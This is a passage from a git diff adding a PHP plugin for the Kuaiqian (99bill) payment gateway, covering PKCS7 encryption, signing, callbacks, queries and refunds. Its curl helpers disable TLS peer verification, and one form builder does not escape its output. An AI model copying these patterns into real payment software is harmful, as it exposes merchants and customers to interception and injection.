str_replace(array("\r\n","\r","\n","\\"),"", + substr($enData,191,strlen($enData))); + //返回 + unlink($originalDataPath); + unlink($enDataPath); + return $finalEnData; + } + + /**获取签名 商户证书签名 + * @return Base64string + */ + public function getSignedData(string $originalData,string $salt):string { + $originalDataPath = $this->temp_path . 'origdata_' . $salt . '.txt'; + if(!file_put_contents($originalDataPath, $originalData)){ + throw new Exception("获取签名失败,写入文件失败!"); + } + $signdataPath = $this->temp_path . 'signdata_' . $salt . '.txt'; + openssl_pkcs7_sign($originalDataPath,$signdataPath, + $this->merchantCert, + $this->merchantKey, + [], + PKCS7_BINARY); + $signdata = file_get_contents($signdataPath); + $finalsigndata = str_replace(array("\r\n","\r","\n"),array(""), + substr($signdata,186,strlen($signdata))); + unlink($originalDataPath); + unlink($signdataPath); + return $finalsigndata; + } + + /**返回解密 商户证书解密 + * @return string + */ + public function getDecryptData(string $encryptoData,string $salt):string { + $respdecryptoDataPath = $this->temp_path . 'respDecryptoData_' . $salt . '.txt'; + //txt内容须遵守SMIME格式规范,请勿做增删、对齐等操作 + $txt ="MIME-Version: 1.0 +Content-Disposition: attachment; filename=\"smime.p7m\" +Content-Type: application/x-pkcs7-mime; smime-type=enveloped-data; name=\"smime.p7m\" +Content-Transfer-Encoding: base64"."\n\n\n".$encryptoData; + if(!file_put_contents($respdecryptoDataPath, $txt)){ + throw new Exception("返回解密失败,写入文件失败!"); + } + $decryptoDataPath = $this->temp_path . 'decryptoData_' . $salt . '.txt'; + if(openssl_pkcs7_decrypt($respdecryptoDataPath,$decryptoDataPath, + $this->merchantCert, + $this->merchantKey)){ + $decryptoData = file_get_contents($decryptoDataPath); + //Log::info('解密成功!快钱返回明文body为:'.$decryptoData); + unlink($decryptoDataPath); + unlink($respdecryptoDataPath); + return $decryptoData; + }else{ + unlink($respdecryptoDataPath); + unlink($decryptoDataPath); + throw new Exception('返回数据解密失败!failed to decrypt!'); + } + } + + /**返回验签 快钱证书验签 + * @return bool + */ + public function getVerifyFlag(string $decryptoData,string $signedData,string $salt):bool { + $respsignedDataPath = $this->temp_path . 'respSignedData_' . $salt . '.txt'; + $txt =$signedData; + file_put_contents($respsignedDataPath,$this->formatSmimeSignData($txt,$decryptoData)); + + $unSignDataPath = $this->temp_path . 'unSignData_' . $salt . '.txt'; + + $flag = openssl_pkcs7_verify($respsignedDataPath,PKCS7_NOVERIFY,$unSignDataPath); + + unlink($respsignedDataPath); + unlink($unSignDataPath); + + return $flag == 1; + } + + /** + * @return String $signData 内容须遵守SMIME格式规范,请勿做增删、对齐等操作 + */ + public function formatSmimeSignData($txt,$decryptoData) + { + $signData = chunk_split($txt, 76, "\n"); + $boundary = "----" . md5($signData); + $signData = <<member_code = $memberCode; + $this->merchat_key_pwd = $merchat_key_pwd; + $this->ssl_cert_pwd = $ssl_cert_pwd; + if(file_exists(PLUGIN_ROOT.'kuaiqian/cert/'.$memberCode.'/cert.cer') && file_exists(PLUGIN_ROOT.'kuaiqian/cert/'.$memberCode.'/key.pfx')){ + $this->platform_cert_path = PLUGIN_ROOT.'kuaiqian/cert/'.$memberCode.'/cert.cer'; + $this->merchat_key_path = PLUGIN_ROOT.'kuaiqian/cert/'.$memberCode.'/key.pfx'; + $this->ssl_cert_path = PLUGIN_ROOT.'kuaiqian/cert/'.$memberCode.'/ssl.pfx'; + }else{ + $this->platform_cert_path = PLUGIN_ROOT.'kuaiqian/cert/cert.cer'; + $this->merchat_key_path = PLUGIN_ROOT.'kuaiqian/cert/key.pfx'; + $this->ssl_cert_path = PLUGIN_ROOT.'kuaiqian/cert/ssl.pfx'; + } + } + + //发起API请求 + public function execute($head, $body){ + $apiurl = $this->gateway_url; + //$apiurl = 'https://sandbox.99bill.com:7445/umgw/common/distribute.html'; + + $cryptoProcessor = new CryptoProcessor($this->merchat_key_path, $this->merchat_key_pwd, $this->platform_cert_path); + + //对明文body进行加密加签 + $salt = $head['memberCode'] . '_' . $this->getMillisecond(); + $body = json_encode($body,JSON_UNESCAPED_UNICODE); + $request_Body_Final = $cryptoProcessor->seal($body,$salt); + $request_Final['head'] = $head; + $request_Final['requestBody'] = $request_Body_Final; + //echo json_encode($request_Final,JSON_UNESCAPED_UNICODE);exit; + + //开始请求快钱,获取返回 + $result = $this->curl_ssl($apiurl,json_encode($request_Final,JSON_UNESCAPED_UNICODE)); + $responseMessage = json_decode($result,true); + if(isset($responseMessage['head']['responseCode']) && $responseMessage['head']['responseCode'] == '0000'){ + //对返回body解密验签,拿到原文 + $signedData = $responseMessage['responseBody']['signedData']; + $envelopedData = $responseMessage['responseBody']['envelopedData']; + $salt = $responseMessage['head']['memberCode'] . '_' . $this->getMillisecond(); + $response_Body = $cryptoProcessor->unseal($signedData,$envelopedData,$salt); + return json_decode($response_Body,true); + }elseif(isset($responseMessage['head']['responseCode'])){ + throw new Exception('['.$responseMessage['head']['responseCode'].']'.$responseMessage['head']['responseTextMessage']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + public function notifyProcess(&$result){ + $json = file_get_contents('php://input'); + $requestMessage = json_decode($json,true); + if(!$requestMessage) throw new Exception('no data'); + //对返回body解密验签,拿到原文 + $cryptoProcessor = new CryptoProcessor($this->merchat_key_path, $this->merchat_key_pwd, $this->platform_cert_path); + $signedData = $requestMessage['requestBody']['signedData']; + $envelopedData = $requestMessage['requestBody']['envelopedData']; + $salt = $requestMessage['head']['memberCode'] . '_' . $this->getMillisecond(); + $request_Body = $cryptoProcessor->unseal($signedData,$envelopedData,$salt); + $result = ['head' => $requestMessage['head'], 'body' => json_decode($request_Body,true)]; + + $head = [ + 'version' => '1.0.0', + 'messageType' => 'A9005', + 'memberCode' => $requestMessage['head']['memberCode'], + 'externalRefNumber' => $requestMessage['head']['externalRefNumber'], + ]; + $body = [ + 'merchantId' => $result['body']['merchantId'], + 'refNumber' => $result['body']['refNumber'], + 'isReceived' => '1' + ]; + //对明文body进行加密加签 + $salt = $head['memberCode'] . '_' . $this->getMillisecond(); + $body = json_encode($body,JSON_UNESCAPED_UNICODE); + $response_Body_Final = $cryptoProcessor->seal($body,$salt); + $response_Final['head'] = $head; + $response_Final['responseBody'] = $response_Body_Final; + return json_encode($response_Final); + } + + public function notifyProcessComplain(&$result){ + $json = file_get_contents('php://input'); + $requestMessage = json_decode($json,true); + if(!$requestMessage) throw new Exception('no data'); + //对返回body解密验签,拿到原文 + $cryptoProcessor = new CryptoProcessor($this->merchat_key_path, $this->merchat_key_pwd, $this->platform_cert_path); + $signedData = $requestMessage['requestBody']['signedData']; + $envelopedData = $requestMessage['requestBody']['envelopedData']; + $salt = $requestMessage['head']['memberCode'] . '_' . $this->getMillisecond(); + $request_Body = $cryptoProcessor->unseal($signedData,$envelopedData,$salt); + $result = ['head' => $requestMessage['head'], 'body' => json_decode($request_Body,true)]; + + $head = [ + 'version' => '1.0.0', + 'messageType' => 'A9005', + 'memberCode' => $requestMessage['head']['memberCode'], + ]; + $body = [ + 'isReceived' => '1' + ]; + //对明文body进行加密加签 + $salt = $head['memberCode'] . '_' . $this->getMillisecond(); + $body = json_encode($body,JSON_UNESCAPED_UNICODE); + $response_Body_Final = $cryptoProcessor->seal($body,$salt); + $response_Final['head'] = $head; + $response_Final['responseBody'] = $response_Body_Final; + return json_encode($response_Final); + } + + //请求参数签名 + public function generateSign($param){ + $signstr = ''; + foreach($param as $k => $v){ + if($k != "signMsg" && $v!==''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr, 0, -1); + return $this->rsaPrivateSign($signstr); + } + + //回调验签 + public function verifyNotify($param){ + if(empty($param['signMsg'])) return false; + $param_order = ['merchantAcctId','version','language','signType','payType','bankId','orderId','orderTime','orderAmount','bindCard','bindMobile','dealId','bankDealId','dealTime','payAmount','fee','ext1','ext2','payResult','aggregatePay','errCode','period']; + $signstr = ''; + foreach($param_order as $k){ + if(!empty($param[$k])){ + $signstr .= $k.'='.$param[$k].'&'; + } + } + $signstr = substr($signstr, 0, -1); + //公钥验签 + return $this->rsaPubilcSign($signstr, $param['signMsg']); + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $pkcs12 = file_get_contents($this->merchat_key_path); + openssl_pkcs12_read($pkcs12, $keyarr, $this->merchat_key_pwd); + $private_key = openssl_pkey_get_private($keyarr["pkey"]); + if(!$private_key){ + throw new Exception('签名失败,商户私钥不正确'); + } + openssl_sign($data, $signature, $private_key, OPENSSL_ALGO_SHA256); + return base64_encode($signature); + } + + //平台公钥验签 + private function rsaPubilcSign($data, $signature){ + $keyFile = file_get_contents($this->platform_cert_path); + $public_key = openssl_pkey_get_public($keyFile); + if(!$public_key){ + throw new Exception('验签失败,平台公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $public_key, OPENSSL_ALGO_SHA256); + return $result === 1; + } + + + public function curl_ssl($url, $str){ + if(!file_exists($this->ssl_cert_path)){ + throw new Exception('SSL双向证书不存在'); + } + $header[] = "Content-type: application/json;charset=utf-8"; + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $str); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); + curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'P12'); + curl_setopt($ch, CURLOPT_SSLCERT, $this->ssl_cert_path); + curl_setopt($ch, CURLOPT_SSLCERTPASSWD, $this->ssl_cert_pwd); + $output = curl_exec($ch); + + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpCode != 200) { + curl_close($ch); + throw new \Exception('http状态码异常[' . $httpCode . ']', 0); + } + + return $output; + } + + public function curl($url, $body, $cookie = null){ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Encoding: gzip,deflate,sdch"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + curl_setopt($ch, CURLOPT_HEADER, true); + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $body); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; Android 12; M2011K2C Build/SKQ1.211006.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_ENCODING, "gzip"); + if ($cookie) { + curl_setopt($ch, CURLOPT_COOKIE, $cookie); + } + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); + $header = substr($data, 0, $headerSize); + $body = substr($data, $headerSize); + curl_close($ch); + return [$header, $body]; + } + + private function getMillisecond() + { + list($s1, $s2) = explode(' ', microtime()); + return sprintf('%.0f', (floatval($s1) + floatval($s2)) * 1000); + } +} \ No newline at end of file diff --git a/plugins/kuaiqian/kuaiqian_plugin.php b/plugins/kuaiqian/kuaiqian_plugin.php new file mode 100644 index 0000000..966750c --- /dev/null +++ b/plugins/kuaiqian/kuaiqian_plugin.php @@ -0,0 +1,732 @@ + 'kuaiqian', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '快钱支付', //支付插件显示名称 + 'author' => '快钱', //支付插件作者 + 'link' => 'https://www.99bill.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '快钱账户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户证书密码', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => 'SSL客户端证书密码', + 'type' => 'input', + 'note' => '', + ], + 'merchant_id' => [ + 'name' => '当面付-商户号', + 'type' => 'input', + 'note' => '仅当面付需要填写', + ], + 'terminal_id' => [ + 'name' => '当面付-终端号', + 'type' => 'input', + 'note' => '仅当面付需要填写', + ], + 'appmchid' => [ + 'name' => '服务商-快钱子账户号', + 'type' => 'input', + 'note' => '仅服务商需要填写', + ], + 'own_channel' => [ + 'name' => '是否自有渠道', + 'type' => 'select', + 'options' => [0=>'否',1=>'是'], + ], + ], + 'select_alipay' => [ + '1' => 'H5支付', + '2' => '当面付', + ], + 'select_wxpay' => [ + '1' => 'H5支付', + '2' => '当面付', + ], + 'select_bank' => [ + '1' => '网银支付', + '2' => '快捷支付', + '3' => '云闪付扫码', + ], + 'note' => '将商户证书key.pfx,快钱公钥cert.cer,SSL双向证书ssl.pfx 放到/plugins/kuaiqian/cert/文件夹下', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename, $submit2; + + /*if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + }*/ + + if($order['typename']=='alipay'){ + if(in_array('1',$channel['apptype']) && checkmobile()){ + if(checkwechat()){ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + if(checkalipay()){ + return ['type'=>'jump','url'=>'/pay/alipaywap/'.TRADE_NO.'/']; + } + return self::mobilepay('27-3'); + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && in_array('1',$channel['apptype'])){ + if(checkalipay()){ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + } + return self::mobilepay('26-2'); + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + if(checkmobile() && (in_array('1',$channel['apptype']) || in_array('2',$channel['apptype']))){ + if(in_array('1',$channel['apptype'])){ + $payType = '00'; + }else{ + $payType = '21'; + } + return self::mobilepay($payType); + }elseif(!checkmobile() && in_array('1',$channel['apptype'])){ + return self::bankpay(); + }else{ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + } + + //网银支付 + static private function bankpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(in_array('1',$channel['apptype'])){ + $payType = '10'; + }else{ + $payType = '21'; + } + + require(PAY_ROOT."inc/PayApp.class.php"); + + $apiurl = 'https://www.99bill.com/gateway/recvMerchantInfoAction.htm'; + //$apiurl = 'https://sandbox.99bill.com/gateway/recvMerchantInfoAction.htm'; + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $params = [ + 'inputCharset' => '1', + 'pageUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'bgUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'version' => 'v2.0', + 'language' => '1', + 'signType' => '4', + 'merchantAcctId' => $channel['appid'] . '01', + 'orderId' => TRADE_NO, + 'orderAmount' => strval($order['realmoney'] * 100), + 'orderTime' => date('YmdHis'), + 'productName' => $ordername, + 'payType' => $payType + ]; + $params['signMsg'] = $client->generateSign($params); + $params['terminalIp'] = $clientip; + $params['tdpformName'] = $conf['sitename']; + + $html_text = '
    '; + foreach($params as $k => $v) { + $html_text .= "\n"; + } + $html_text .= '
    '; + + return ['type'=>'html','data'=>$html_text]; + } + + //H5支付 + static private function mobilepay($payType, $aggregatePay = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $apiurl = 'https://www.99bill.com/mobilegateway/recvMerchantInfoAction.htm'; + //$apiurl = 'https://sandbox.99bill.com/mobilegateway/recvMerchantInfoAction.htm'; + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $params = [ + 'inputCharset' => '1', + 'pageUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'bgUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'version' => 'mobile1.0', + 'language' => '1', + 'signType' => '4', + 'merchantAcctId' => $channel['appid'] . '01', + 'orderId' => TRADE_NO, + 'orderAmount' => strval($order['realmoney'] * 100), + 'orderTime' => date('YmdHis'), + 'productName' => $ordername, + 'payType' => $payType + ]; + if($aggregatePay) $params['aggregatePay'] = $aggregatePay; + if($channel['own_channel'] == 1){ + $params['extDataType'] = 'NB2'; + $params['extDataContent'] = ''.json_encode(['customAuthNetInfo'=>['own_channel'=>'1']]).''; + } + $params['signMsg'] = $client->generateSign($params); + $params['terminalIp'] = $clientip; + $params['tdpformName'] = $conf['sitename']; + + $html_text = '
    '; + foreach($params as $k => $v) { + $v = htmlentities($v, ENT_QUOTES | ENT_HTML5); + $html_text .= "\n"; + } + $html_text .= '
    '; + + return ['type'=>'html','data'=>$html_text]; + } + + //获取H5支付链接 + static private function mobilepayurl($payType, $aggregatePay = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $apiurl = 'https://www.99bill.com/mobilegateway/recvMerchantInfoAction.htm'; + //$apiurl = 'https://sandbox.99bill.com/mobilegateway/recvMerchantInfoAction.htm'; + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $params = [ + 'inputCharset' => '1', + 'pageUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'bgUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'version' => 'mobile1.0', + 'language' => '1', + 'signType' => '4', + 'merchantAcctId' => $channel['appid'] . '01', + 'orderId' => TRADE_NO, + 'orderAmount' => strval($order['realmoney'] * 100), + 'orderTime' => date('YmdHis'), + 'productName' => $ordername, + 'payType' => $payType + ]; + if($aggregatePay) $params['aggregatePay'] = $aggregatePay; + if($channel['own_channel'] == 1){ + $params['extDataType'] = 'NB2'; + $params['extDataContent'] = ''.json_encode(['customAuthNetInfo'=>['own_channel'=>'1']]).''; + } + $params['signMsg'] = $client->generateSign($params); + $params['terminalIp'] = $clientip; + $params['tdpformName'] = $conf['sitename']; + + $res = $client->curl($apiurl, http_build_query($params)); + if(strpos($res[1], '确认支付') !== false){ + $cookie = ''; + preg_match_all('/Set-Cookie: (.*?);/i', $res[0], $match); + foreach($match[1] as $v){ + $cookie .= $v.'; '; + } + if(preg_match('/name=\"selectCheckBox\" value=\"(.*?)\"/i', $res[1], $match)){ + $type = $match[1]; + if($type == 'weiXinWapBox'){ + $url = 'https://www.99bill.com/mobilegateway/weixinWapPrePay.htm'; + $res = $client->curl($url, '', $cookie); + $arr = json_decode($res[1], true); + if(isset($arr['openlink'])){ + return $arr['openlink']; + }else{ + echo $res[1];exit; + } + }elseif($type == 'zhiFuBaoBox'){ + $url = 'https://www.99bill.com/mobilegateway/alicsbPay.htm'; + $res = $client->curl($url, '', $cookie); + $arr = json_decode($res[1], true); + if(isset($arr['qrcode'])){ + return $arr['qrcode']; + }else{ + echo $res[1];exit; + } + }else{ + throw new Exception('未知的支付类型 '.$type); + } + }else{ + throw new Exception('支付页面解析失败'); + } + }else{ + echo $res[1];exit; + } + } + + //当面付 + static private function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $head = [ + 'version' => '1.0.0', + 'messageType' => 'A7007', + 'memberCode' => $channel['appid'], + 'externalRefNumber' => TRADE_NO, + ]; + if(!empty($channel['appmchid'])){ + $head['memberCode'] = $channel['appmchid']; + $head['vendorMemberCode'] = $channel['appid']; + } + $body = [ + 'merchantId' => $channel['merchant_id'], + 'terminalId' => $channel['terminal_id'], + 'cur' => 'CNY', + 'amount' => strval($order['realmoney'] * 100), + 'tr3Url' => $conf['localurl'] . 'pay/notifys/' . TRADE_NO . '/', + 'qrType' => '00', + 'terminalIp' => $clientip, + ]; + + $result = $client->execute($head, $body); + if($result['bizResponseCode'] == '0000'){ + \lib\Payment::updateOrderCombine(TRADE_NO); + return $result['qrCode']; + }else{ + throw new Exception('['.$result['bizResponseCode'].']'.$result['bizResponseMessage']); + } + } + + static public function alipay(){ + global $channel, $siteurl; + + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::qrcode(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + }else{ + $code_url = $siteurl.'pay/alipaywap/'.TRADE_NO.'/'; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + static public function alipaywap(){ + try{ + $jump_url = self::mobilepayurl('27-3'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$jump_url]; + } + + static public function wxpay(){ + global $channel, $siteurl, $device, $mdevice; + + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::qrcode(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + }elseif($channel['appwxmp']>0){ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + }else{ + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + } + + if($mdevice == 'wechat' || checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif ($device == 'mobile' || checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + static public function wxwappay(){ + try{ + $jump_url = self::mobilepayurl('26-2'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$jump_url]; + } + + static public function bank(){ + global $channel, $siteurl; + + if(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::qrcode(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + }else{ + $code_url = $siteurl.'pay/submit/'.TRADE_NO.'/'; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //微信公众号 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + $aggregatePay = 'appId='.$wxinfo['appid'].',openId='.$openid.',limitPay=0'; + return self::mobilepay('26-1', $aggregatePay); + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + require(PAY_ROOT."inc/PayApp.class.php"); + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $apiurl = 'https://www.99bill.com/mobilegateway/miniProgramPay.htm'; + $params = [ + 'inputCharset' => '1', + 'bgUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'version' => 'mobile1.0', + 'language' => '1', + 'signType' => '4', + 'merchantAcctId' => $channel['appid'] . '01', + 'orderId' => TRADE_NO, + 'orderAmount' => strval($order['realmoney'] * 100), + 'orderTime' => date('YmdHis'), + 'productName' => $ordername, + 'aggregatePay' => 'appId='.$wxinfo['appid'].',openId='.$openid.',limitPay=0', + 'payType' => '26-3' + ]; + $params['signMsg'] = $client->generateSign($params); + $params['terminalIp'] = $clientip; + $params['tdpformName'] = $conf['sitename']; + + $response = get_curl($apiurl, http_build_query($params)); + $result = json_decode($response, true); + if(isset($result['responseCode']) && $result['responseCode']=='00'){ + exit(json_encode(['code'=>0, 'data'=>$result['payInfo']])); + }elseif(isset($result['ResponseMsg'])){ + exit('{"code":-1,"msg":"'.$result['ResponseMsg'].'"}'); + }else{ + exit('{"code":-1,"msg":"返回内容解析失败"}'); + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + $verify_result = $client->verifyNotify($_GET); + + if($verify_result) {//验证成功 + if ($_GET['payResult'] == '10') { + if($_GET['orderId'] == TRADE_NO){ + processNotify($order, $_GET['dealId']); + } + } + $redirecturl = $siteurl.'pay/return/'.TRADE_NO.'/'; + return ['type'=>'html','data'=>'1'.$redirecturl.'']; + } + else { + return ['type'=>'html','data'=>'0']; + } + } + + //当面付异步回调 + static public function notifys(){ + global $channel, $order; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + try{ + $response = $client->notifyProcess($result); + }catch(Exception $ex){ + return ['type'=>'html','data'=>$ex->getMessage()]; + } + + if($result['body']['orderStatus'] == 'S'){ + if($result['head']['externalRefNumber'] == TRADE_NO){ + processNotify($order, $result['body']['idOrderCtrl'], $result['body']['thirdPartyBuyerId']); + } + } + + return ['type'=>'html','data'=>$response]; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //查单 + static public function query(){ + global $channel, $order; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + if($order['combine'] == 1){ //当面付 + $head = [ + 'version' => '1.0.0', + 'messageType' => 'A7006', + 'memberCode' => $channel['appid'], + 'externalRefNumber' => 'QUE'.$order['trade_no'], + ]; + if(!empty($channel['appmchid'])){ + $head['memberCode'] = $channel['appmchid']; + $head['vendorMemberCode'] = $channel['appid']; + } + $body = [ + 'merchantId' => $channel['merchant_id'], + 'terminalId' => $channel['terminal_id'], + 'idOrderCtrl' => $order['api_trade_no'], + ]; + }else{ + $head = [ + 'version' => '1.0.0', + 'messageType' => 'F0003', + 'memberCode' => $channel['appid'], + 'externalRefNumber' => 'QUE'.$order['trade_no'], + ]; + if(!empty($channel['appmchid'])){ + $head['memberCode'] = $channel['appmchid']; + $head['vendorMemberCode'] = $channel['appid']; + } + $body = [ + 'merchantAcctId' => $channel['appid'] . '01', + 'queryType' => '0', + 'queryMode' => '1', + 'orderId' => $order['trade_no'], + ]; + } + + try{ + $result = $client->execute($head, $body); + print_r($result); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + + $head = [ + 'version' => '1.0.0', + 'messageType' => 'F0001', + 'memberCode' => $channel['appid'], + 'externalRefNumber' => $order['refund_no'], + ]; + $body = [ + 'merchantAcctId' => $channel['appid'], + 'txnType' => 'bill_drawback_api_1', + 'amount' => strval($order['refundmoney'] * 100), + 'entryTime' => substr($order['trade_no'], 0, 14), + 'orgOrderId' => $order['trade_no'], + ]; + + try{ + $result = $client->execute($head, $body); + if($result['bizResponseCode'] == '0000'){ + return ['code'=>0]; + }else{ + return ['code'=>-1, 'msg'=>'['.$result['bizResponseCode'].']'.$result['bizResponseMessage']]; + } + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //当面付退款 + static public function refund_combine($order){ + global $channel, $conf; + if(empty($order))exit(); + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], 